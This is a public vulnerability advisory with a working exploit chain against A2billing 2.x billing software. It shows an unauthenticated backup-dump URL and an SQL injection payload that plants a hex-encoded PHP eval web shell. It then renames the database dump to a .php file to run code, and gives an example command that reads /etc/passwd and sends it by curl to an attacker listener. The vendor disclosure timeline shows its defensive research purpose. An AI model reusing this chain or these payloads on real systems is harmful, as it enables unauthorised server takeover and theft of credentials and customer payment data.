A2billing 2.x – Backup File Download / Remote Code Execution
# Title : A2billing 2.x , Unauthenticated Backup dump / RCE flaw # Vulnerable software : A2billing 2.x # Author : Ahmed Sultan (0x4148) # Email : 0x4148@gmail.com # Home : 0x4148.com # Linkedin : https://www.linkedin.com/in/0x4148/ A2billing contain multiple flaws which can be chained together to achieve shell access over the a2b instance If you're looking for deep technical stuff , check out the full writeup at https://0x4148.com/2016/10/28/a2billing-rce/ 1 . backup dump Vulnerable code File : admin/public/form_data/FG_var_backup.inc getpost_ifset(array('name','path','creationdate')); $HD_Form = new FormHandler("cc_backup","Backup"); $HD_Form -> FG_DEBUG = 0; if ($form_action!='ask-add') check_demo_mode(); if ($form_action == 'add'){ $backup_file = $path; if (substr($backup_file,-3)=='.gz'){ // WE NEED TO GZIP $backup_file = substr($backup_file,0,-3); $do_gzip=1; } // Make the backup stuff here and redirect to success page //mysqldump -all --databases mya2billing -ua2billinguser -pa2billing > /tmp/test.sql //pg_dump -c -d -U a2billinguser -h localhost -f /tmp/test.sql mya2billing if (DB_TYPE != 'postgres'){ $run_backup=MYSQLDUMP." -all --databases ".DBNAME." -u'".USER."' -p'".PASS."' > '{$backup_file}'"; }else{ $env_var="PGPASSWORD='".PASS."'"; putenv($env_var); $run_backup=PG_DUMP." -c -d -U ".USER." -h ".HOST." -f '{$backup_file}' ".DBNAME; } if ($FG_DEBUG == 1 ) echo $run_backup."<br>"; >>>> exec($run_backup,$output,$error); if ($do_gzip){ // Compress file $run_gzip = GZIP_EXE." '$backup_file'"; if ($FG_DEBUG == 1 ) echo $run_gzip."<br>"; >>>> exec($run_gzip,$output,$error_zip); } File is being called at "admin/Public/A2B_entity_backup.php" before the authentication checking proccess take place so to dump full backup we can just move to : http://HOST//a2billing/admin/Public/A2B_entity_backup.php?form_action=add&path=0x4148.sql backup will be found at admin/Public/0x4148.sql few hardening is being carried out by the application which did great job preventing direct RCE flaw , so we had to figure out sth else 2 . SQL injection File name : ckeckout_process.php Line 287 : $Query = "INSERT INTO cc_payments_agent ( agent_id, agent_name, agent_email_address, item_name, item_id, item_quantity, payment_method, cc_type, cc_owner, cc_number, " . " cc_expires, orders_status, last_modified, date_purchased, orders_date_finished, orders_amount, currency, currency_value) values (" . " '".$transaction_data[0][1]."', '".$customer_info[3]." ".$customer_info[2]."', '".$customer_info["email"]."', 'balance', '". $customer_info[0]."', 1, '$pmodule', '".$_SESSION["p_cardtype"]."', '".$transaction_data[0][5]."', '".$transaction_data[0][6]."', '". $transaction_data[0][7]."', $orderStatus, '".$nowDate."', '".$nowDate."', '".$nowDate."', ".$amount_paid.", '".$currCurrency."', '". $currencyObject->get_value($currCurrency)."' )"; $result = $DBHandle_max -> Execute($Query); By exploiting this flaw we can insert malicious data into the db using the following query <thanks to i-Hmx for the great hint> transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x706c75676e706179,0x3c3f706870206576616c286261736536345f6465636f646528245f504f53545b6e61696c69745d29293b203f3e,7,8,9,10,11,12,13-//**- -&sess_id=4148&key=98346a2b29c131c78dc89b50894176eb After sending this request the following payload "<?php eval(base64_decode($_POST[nailit])); ?>" will be injected directly into the DB 3 . RCE after injecting the malicious code we can just dump backup again but this time we will name it "0x4148.php" , so our code can be executed :) [root@localhost Public]# curl ' https://127.0.0.1/a2billing/admin/Public/A2B_entity_backup.php?form_action=add&path=0x4148.php' --insecure [root@localhost Public]# cat 0x4148.php | grep nailit INSERT INTO `cc_payments_agent` VALUES (295,2,' ','','balance','',1,'plugnpay','','66666666666666666666666666666666666666666666','77777777777777777777777777777777','8',-1,'3.000000','2016-10-28 10:57:10','2016-10-28 10:57:10','2016-10-28 10:57:10','usd','0.000000'),(296,2,' ','','balance','',1,'plugnpay','','<?php eval(base64_decode($_POST[nailit])); ?>','7','8',-1,'3.000000','2016-10-28 10:58:22','2016-10-28 10:58:22','2016-10-28 10:58:22','usd','0.000000'); Now just exploit it via post nailit=base64_encoded php code to admin/Public/0x4148.php for instance system(‘x=$(cat /etc/passwd);curl -d “$x” http://x.x.x.x:8000/0x4148.jnk’); will read /etc/passwd and send it to our nc listener Exploit timeline : 01/10/2016 : vulnerability reported to vendor 06/10/2016 - 12/2016 : talks talks talks with promises of fixing ASAP 04/09/2017 : Public release Credits, Ahmed Sultan - Cyber Security Analyst @ EG-CERT |